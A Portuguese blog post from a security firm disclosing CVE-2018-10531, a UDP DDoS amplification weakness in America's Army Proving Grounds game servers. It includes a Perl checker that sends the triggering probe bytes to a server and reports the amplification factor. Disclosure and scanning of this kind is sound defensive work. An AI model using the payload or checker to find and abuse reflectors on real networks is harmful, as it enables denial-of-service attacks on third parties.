CVE-2018-10531 America’s Army Proving Grounds DDoS Amplification

americas-army-proving-grounds-ddos-amplification-blog-post-xlabs

Durante análises do fluxo de tráfego de nossa CDN, muitas vezes nos deparamos com tráfegos de UDP Flood, e através de um desses ataques que mitigamos surgiu a ideia de desenvolvermos uma palestra que demonstre a possibilidade de amplificação de ataques DDoS com a utilização de Game Servers. Isso mesmo, servidores de jogos on-line hoje em dia se tornaram mais um vetor utilizado para a inundação em redes para ocasionar a Negação de Serviços importantes para certas empresas.

Os ataques de DDoS Amplification, normalmente utilizam máquinas que respondem a ‘chamadas’ de protocolos que não necessitam de uma autenticação da fonte de sua origem, com a utilização de outra técnica de ataque associada a esta técnica de amplificação do ataque, conseguimos então utilizar o protocolo UDP de forma maliciosa para ocasionar congestionamentos em link’s de Data-Center’s e redes de computadores.

Em um de nossos experimentos internos, durante a elaboração da palestra que será apresentada à clientes e instituições de ensino, ao analisarmos o jogo America’s Army Proving Grounds desenvolvido pelo próprio Exército Americano (US Army), identificamos a presença da plataforma Unreal Engine, ao qual é conhecida por ser uma das mais utilizadas no momento para desenvolvimento de jogos de tiro em primeira pessoa.

Após as ações de praxe de notificação do Mitre.org, Nist.gov e demais instituições envolvidas na divulgação de falhas e no desenvolvimento da plataforma afetada pela vulnerabilidade, somente obtivemos a confirmação do Mitre.org e Nist.gov, após algumas tentativas de contato com o Governo Americano através do DoD (Departamento de Defesa Americano), ao qual não obtivemos respostas satisfatórias, resolvemos publicar esta vulnerabilidade, que além de Amplificação de ataques DDoS, pode prender a comunicação dos servidores afetados em suas respectivas vítimas, ocasionando uma onda de dados desnecessários que pode ocasionar a negação de serviço em determinadas redes.

Desenvolvemos um scanner para determinar quantos servidores estariam portando a vulnerabilidade e que estariam disponíveis no www.gametracker.com, com o scanner podemos ter uma dimensão do tamanho do problema que servidores com esta falha podem provocar caso tomem proporções maiores de utilização, assim como presenciamos o DDoS contra o GitHub que foi utilizado o Memcached para a distribuição e amplificação dos ataques de negação de serviço. Segue print,

Exploit Checker

#!/usr/bin/perl

use IO::Socket::INET;
use IO::Socket::Timeout;
use strict;
use warnings;
use diagnostics;

#
# Date dd-mm-aaaa: 29-05-2018
# Exploit for America's Army Proving Grounds 
# America's Army Proving Grounds DDoS Amplification Checker    
# Developed by Mauricio Corrêa
# XLabs Information Security
# WebSite: www.xlabs.com.br
#
# CAUTION!
# Use with caution!
# Use at your own risk!
#

my $Line = $ARGV[0];

if (@ARGV != 1){

                        print "\n";
                        print "XLabs Information Security www.xlabs.com.br\n";
                        print "America's Army Proving Grounds DDoS Amplification Checker\n";
                        print "Developed by Mauricio Correa\n";
                        print "Contact: mauricio\@xlabs.com.br\n";
                        print "Usage: perl $0 192.168.1.1:7778\n";
                        print "\n";

}else{

print "\n";
print "XLabs Information Security www.xlabs.com.br\n";
print "America's Army Proving Grounds DDoS Amplification Checker\n";
print "Developed by Mauricio Correa\n";
print "Contact: mauricio\@xlabs.com.br\n";
print "Usage: perl $0 192.168.1.1:7778\n";
print "\n";

my @ipinfo = split /:/, $Line;
my $ip = $ipinfo[0];
my $port = $ipinfo[1];

print "Cheking IP: $ip Port:$port\n";
my $sock = new IO::Socket::INET(PeerAddr => $ip,
                        PeerPort => $port,
                        Proto => 'udp', Timeout => 1) or die('Error opening socket.');
IO::Socket::Timeout->enable_timeouts_on($sock);

my $data = "\xff\xff\xff\xff\x00";


$sock->send($data) or die "Error on send Payload...\n";

$sock->read_timeout(2);

my $output = <$sock>;

close($sock);

   if(length($output) == 0){

        print "[!] $ip:$port Not Vulnerable\n\n";

     }else{

        my $amp_factor = length($output);
        print "[+] $ip:$port Vulnerable [Amplification Factor $amp_factor Bytes]\n\n";

     }

}


Gostou do artigo? Compartilhe.

LinkedIn
Facebook
WhatsApp

Faça parte da nossa lista de emails!